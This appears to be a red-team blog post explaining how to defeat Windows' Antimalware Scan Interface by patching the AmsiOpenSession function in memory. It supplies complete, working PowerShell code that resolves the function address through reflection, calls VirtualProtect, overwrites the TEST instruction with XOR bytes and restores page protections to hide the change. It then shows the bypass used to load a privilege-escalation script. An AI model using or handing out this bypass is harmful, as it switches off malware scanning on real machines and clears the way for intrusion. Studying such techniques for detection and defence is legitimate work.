This post aims to showcase one of the many possible techniques for bypassing antivirus solutions through in-memory patching of AMSI instructions.
Author: Matheus Alexandre
Antimalware Scan Interface was first introduced by Microsoft in 2015 and initially deployed in early Windows 10 versions with the intention of providing an integrated channel for security products to interact with, requesting the scanning of files, memory, or streams for malicious content.
On Windows 10, the Antimalware Scan Interface feature is integrated into the following components:
-
User Account Control (UAC)
-
Powershell (scripts, interactive use, and dynamic code evaluation)
-
Windows Script Host (WSH)
-
JavaScript and VBScript
-
Office VBA macros
Speaking of its compatibility, although there isn’t any “official” listing from Microsoft, this GitHub repository shows that at least 22 vendors currently support AMSI. This poses a necessity for offensive security and red team professionals to be proficient in evading and circumventing such defenses.
Understanding AMSI
The following is an overview of an Antimalware Scan Interface implementation, using Powershell and Microsoft Defender as an example.
The amsi.dll library will be loaded into every Powershell and ISE process, providing exported functions for the processes to make use of. The relevant info will be sent to Defender through the RPC protocol, where Defender will analyze the content and send the results back to Powershell for it to either block or execute.
The types of results returned by scans are specified by AMSI_RESULT as follows.
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
As per Microsoft’s documentation, the return values are classified in the following manner:
The antimalware provider may return a result between 1 and 32767 […]
Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
For this specific bypass technique, the AmsiOpenSession function will be targeted.
HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);
If this function succeeds, it returns S_OK. Otherwise, it returns an HRESULT error code.
The bypass will consist of forcing this error code to happen by patching a couple of assembly instructions, breaking the mechanism’s execution flow.
Dissecting Antimalware Scan Interface
By unassembling the loop instructions that compose AmsiOpenSession, a condition can be observed:
The first two instructions can be observed to be a comparison and conditional jump, jump if equal, which leads to the “invalid argument” return value.
A TEST instruction will set the zero flag (ZF) when the result of the operation is zero. The conditional jump, in turn, will be taken in case the zero flags is set.
TEST RDX, RDX ; set zero flag if RDX == 0
JE amsi!AmsiOpenSession+0x4c ; jump if ZF == 1
Therefore, by forcing the zero flag to be set, the CPU will consequently be tricked into taking the jump, resulting in the mechanism’s failure due to the invalid argument return result.
The bypass will then consist of the following steps:
-
Fetch AmsiOpenSession’s memory address
-
Modify memory protections
-
Overwrite TEST RDX, RDX with XOR RAX, RAX
-
Re-enable memory protections to cover tracks
-
Run malicious code
Building the bypass
Retrieving memory addresses
Knowing that all Antimalware Scan Interface-related functions are imported from the amsi.dll library, it’s only necessary to grab the memory address from where the desired function was loaded. That can be reached through the use of reflection as follows:
function lookFuncAddr{
Param($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object{If($_.Name -eq 'GetProcAddress') {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
The lookFuncAddr function does basically the following:
-
List all assemblies through GetAssemblies
-
Filter the ones from the system.dll library that matches the UnsafeNativeMethods namespace
-
Locate GetProcAddress through GetMethods
-
Grab the desired function’s address through GetModuleHandle
This will return the function’s address in hexadecimal to be used later.
Memory Protections
As per default, only read and execute privileges will be available. This can be visualized again through WinDbg using the following command:
!vprot 7ff9dd8e37e0
PAGE_EXECUTE_READ (0x20)
Enables execute or read-only access to the committed region of pages.
In order to modify such protections, the VirtualProtect function will be used:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
The function receives 4 arguments as follows:
-
Page Address; retrieved through lookFuncAddr
-
Size of the area to be modified; 3 bytes
-
Memory protection to be applied; 0x40 as for PAGE_EXECUTE_READWRITE
-
Variable in which the current memory protection will be stored by the OS.
In order to create the delegate type into a function, the following getDelegateType function will be used:
function getDelegateType{
Param(
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
Now storing OpenSession’s address in amsiAddr, initializing the required variable, defining VirtualProtect, and overwriting the memory protections.
[IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
$oldProtect = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)
PAGE_EXECUTE_READWRITE (0x40)
Enables execute, read-only, or read/write access to the committed region of pages
Instruction Placement
Lastly, replace the aforementioned instructions and re-enabling the memory protections.
$3b = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)
$vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)
Demonstration Time
In order to demonstrate the technique’s efficacy, two strings that are immediately flagged were sent through Powershell:
To demonstrate a real scenario, the script PowerUp, used for Privilege Escalation, was loaded into memory and successfully executed:
References and further reading